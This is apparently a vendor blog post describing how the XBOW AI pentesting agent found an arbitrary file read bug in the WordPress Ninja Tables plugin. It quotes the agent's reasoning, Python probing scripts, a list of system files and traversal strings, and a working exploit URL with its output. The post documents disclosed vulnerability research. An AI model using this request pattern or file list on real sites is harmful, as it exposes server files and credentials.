Let’s face it: web apps are complicated beasts these days. With all the plugins, integrations, and widgets, it’s no
wonder that keeping them secure feels like a never-ending game of whack-a-mole. That’s exactly why we built XBOW—our
AI-powered, never-sleeps, always-curious security pentester.
In this post, I’m sharing the story of how XBOW sniffed out a sneaky arbitrary file read bug in the popular WordPress
Ninja Tables plugin. XBOW didn’t just stumble onto this by luck—it mapped out the site, poked at endpoints, and kept
digging until it hit paydirt.
If you’re into security, dev, or just want to see what happens when you let an AI loose on a real-world app, keep
reading. This is a behind-the-scenes look at how autonomous pentesting actually plays out.
Uncovering an Arbitrary File Read Vulnerability in WordPress’s Ninja Tables
The journey began with XBOW performing reconnaissance on the target site as part of a HackerOne Bug Bounty Program
assessment. XBOW started off by methodically searching for endpoints that might accept file path parameters. This
initial exploration is a crucial first step in identifying potential vectors for path traversal vulnerabilities.
I need to start by exploring the target website https://[REDACTED] to understand its structure and identify potential endpoints that might accept file path parameters. This will help me systematically look for path traversal vulnerabilities. I'll begin with reconnaissance to map out the application's functionality and endpoints.
XBOW swiftly figures out it’s dealing with a WordPress site—robots.txt, sitemaps, and all the usual suspects. This helps
it zero in on the kind of endpoints that are most likely to be interesting.
I can see this is a WordPress site based on the robots.txt showing /wp-admin/ and the sitemap structure. The /admin/ endpoint shows an Okta login form which is interesting but not directly related to path traversal. I notice the sitemap reveals several WordPress-specific endpoints and post types. Let me explore WordPress-specific endpoints and look for file handling functionality, particularly focusing on wp-admin/admin-ajax.php (which is allowed in robots.txt) and other WordPress endpoints that might handle file operations.
Targeted Reconnaissance of WordPress Endpoints
With the WordPress context established, XBOW enumerated a range of endpoints likely to handle files, including REST API
and AJAX endpoints. This systematic approach ensured coverage of both common and less obvious vectors.
...# WordPress-specific endpoints that might handle fileswp_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-content/', '/wp-includes/', '/wp-json/', '/wp-json/wp/v2/', '/wp-content/uploads/', '/wp-content/themes/', '/wp-content/plugins/', '/?rest_route=/', '/?rest_route=/wp/v2/', '/index.php', '/wp-login.php']...# Check specific WordPress REST API endpoints for media/filesprint(f"\n{'='*50}")print("Checking WordPress REST API for media endpoints:")print(f"{'='*50}")rest_endpoints = [ '/wp-json/wp/v2/media', '/wp-json/wp/v2/users', '/wp-json/wp/v2/posts', '/wp-json/wp/v2/pages', '/wp-json/wp/v2/attachments']
But, as is often the case, the obvious vectors don’t pan out. No directory listings, no easy LFI wins. So XBOW switches
gears and starts poking at blog posts, code samples, and whatever else looks promising.
The accessible WordPress directories don't seem to have directory listings enabled, and the common LFI parameter tests didn't reveal any obvious vulnerabilities. Let me take a different approach and look more carefully at the blog posts and code samples pages, as these might contain file download or viewing functionality. I'll also check the sitemap URLs to discover more specific endpoints that might handle files.
Discovery of a Download Functionality
Here’s where things get interesting. XBOW stumbles on some JavaScript on the /api-[REDACTED]/ page that hints at a
ninja_table_force_download action—complete with a user-controlled url parameter. That’s a classic “this might go
somewhere” moment.
Interesting! I found a very promising pattern in the /api-[REDACTED]/ page - there are JavaScript patterns showing "force_download" and "?action=ninja_table_force_download&url=" which suggests a file download functionality. This looks like a potential path traversal vulnerability where I can control the URL parameter. Let me investigate this ninja_table_force_download action more thoroughly as it might allow me to download arbitrary files from the server.
XBOW scripted a series of exploitation attempts, targeting the suspected vulnerable endpoint with various file paths and
methods, demonstrating a methodical approach to uncovering the vulnerability.
Now it’s time for some good old-fashioned but smart and focused brute force. XBOW writes up a script to hit this
endpoint with a set of target file paths and different approaches: GET, POST and AJAX requests.
...# Test files to attempt to readtest_files = [ '/etc/passwd', '/proc/self/environ', '/proc/version', '/etc/os-release', '/etc/hostname', '/etc/hosts', 'file:///etc/passwd', 'file:///proc/version', '../../../etc/passwd', '..\\..\\..\\windows\\win.ini', 'c:\\windows\\win.ini', 'c:\\boot.ini']# Test different ways to trigger the downloadfor test_file in test_files: print(f"\nTesting file: {test_file}") # Method 1: GET request with action parameter try: params = { 'action': 'ninja_table_force_download', 'url': test_file } response = session.get(base_url, params=params, timeout=10) ... # Method 2: POST request try: data = { 'action': 'ninja_table_force_download', 'url': test_file } response = session.post(base_url, data=data, timeout=10) ... # Method 3: Try with admin-ajax.php try: ajax_url = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'ninja_table_force_download', 'url': test_file } response = session.post(ajax_url, data=data, timeout=10)
Recognizing Subtle Indicators
XBOW’s nuanced understanding of WordPress paid off: while most attempts returned 403 Forbidden (suggesting a WAF or
other security control), AJAX endpoint gives a 422 instead—which means the action is there, but something’s up with
validation. That’s a clue worth chasing!
The ninja_table_force_download action is returning 403 Forbidden for most file access attempts, but I'm getting 422 status codes when using the AJAX endpoint, which suggests the action exists but has validation. The 403s might indicate a WAF or security measure. Let me explore the individual code sample pages more thoroughly, as they might have their own file download or viewing mechanisms. I also noticed there was a "upload file to REDACTED objects bucket" code sample that might have file handling functionality.
XBOW gets sidetracked for a bit, but then circles back to the promising ninja_table_force_download lead, digging
deeper into the JavaScript and grabbing the nonce needed to make a legit request.
I've been testing many different approaches but haven't found a clear path traversal vulnerability yet. Let me take a step back and try a more systematic approach by looking at specific WordPress functionality that I might have missed. I noticed there were some file references in JavaScript earlier, particularly the "ninja_table_force_download" functionality. Let me investigate this more thoroughly and also test some WordPress-specific attack vectors that I might have overlooked.
XBOW finds the exact JavaScript that wires up the download, confirming the need for a nonce and showing exactly how the
request should look:
Excellent! I found the exact ninja_table_force_download JavaScript code! The key information is:1. The AJAX URL is: `https://[REDACTED]/wp-admin/admin-ajax.php`2. The action is: `ninja_table_force_download`3. It expects a `url` parameter4. It requires a nonce: `ninja_table_public_nonce` with value `b69b8c2ef0`The JavaScript shows: `window.ninja_footables.ajax_url + '?action=ninja_table_force_download&url=' + url + '&ninja_table_public_nonce=' + window.ninja_footables.ninja_table_public_nonce`Let me test this exact pattern with the correct nonce value to see if I can trigger a path traversal vulnerability.
Arbitrary File Read Confirmed
Armed with the right nonce and request format, XBOW goes back to the script and—boom—finally gets a hit.
/etc/os-release comes back with a 200 and the file contents. Jackpot.
Testing ninja_table_force_download with correct nonce:============================================================Testing file: /etc/passwd GET URL:https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/passwd&ninja_table_public_nonce=b69b8c2ef0 GET Status: 403 GET Content-Type: text/html GET Content-Length: 413 POST Status: 403 POST Content-Type: text/html POST Content-Length: 408Testing file: /proc/version GET URL:https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/proc/version&ninja_table_public_nonce=b69b8c2ef0 GET Status: 403 GET Content-Type: text/html GET Content-Length: 413 POST Status: 403 POST Content-Type: text/html POST Content-Length: 408Testing file: /etc/os-release GET URL:https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/os-release&ninja_table_public_nonce=b69b8c2ef0 GET Status: 200 GET Content-Type: application/octet-stream GET Content-Length: 267 ** OS-RELEASE FILE FOUND via GET! ** URL:https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/os-release&ninja_table_public_nonce=b69b8c2ef0 Content preview: PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"NAME="Debian GNU/Linux"VERSION_ID="11"VERSION="11 (bullseye)"VERSION_CODENAME=bullseyeID=debianHOME_URL="https://www.debian.org/"SUPPORT_URL="https://www.debian.org/support"BUG_REPORT_URL="https://bugs.debian.org/"SUCCESS! Found /etc/os-release============================================================Checking for successful file access:============================================================SUCCESS FILE FOUND: /tmp/ninja_success_os_release.txtURL:https://[REDACTED]/wp-admin/admin-ajax.php?action=ninja_table_force_download&url=/etc/os-release&ninja_table_public_nonce=b69b8c2ef0Method: GETContent:PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"NAME="Debian GNU/Linux"VERSION_ID="11"VERSION="11 (bullseye)"VERSION_CODENAME=bullseyeID=debianHOME_URL="https://www.debian.org/"SUPPORT_URL="https://www.debian.org/support"BUG_REPORT_URL="https://bugs.debian.org/"============================================================VULNERABILITY CONFIRMED! Ready to use check-file-read tool.
So, even though files like /etc/passwd were locked down, XBOW’s persistence paid off—proving the Ninja Tables plugin
could be tricked into reading arbitrary files.
Impact
This arbitrary file read vulnerability allowed an attacker to access sensitive server files, potentially leading to
critical information disclosure, such as database credentials from `wp-config.php`.
Given the popularity of the Ninja Tables plugin, this vulnerability had a significant impact, affecting numerous
WordPress websites and multiple bug bounty programs.
Disclosure and Response
Once the arbitrary file read vulnerability was confirmed, we initiated a responsible disclosure process. We shared the
details of the vulnerability with the maintainers of the Ninja Tables plugin which responded with extreme swiftness,
demonstrating a strong commitment to security.
We extend our thanks for their prompt response and quick turnaround in addressing this issue.
This whole trace is a great example of why you want an AI that doesn’t get bored, doesn’t give up, and actually
understands the weird quirks of platforms like WordPress.
XBOW pieced together subtle clues, followed the trail, and landed a real-world bug affecting thousands of WordPress
blogs out there. If you’re curious about what autonomous security testing can really do, this is it in action.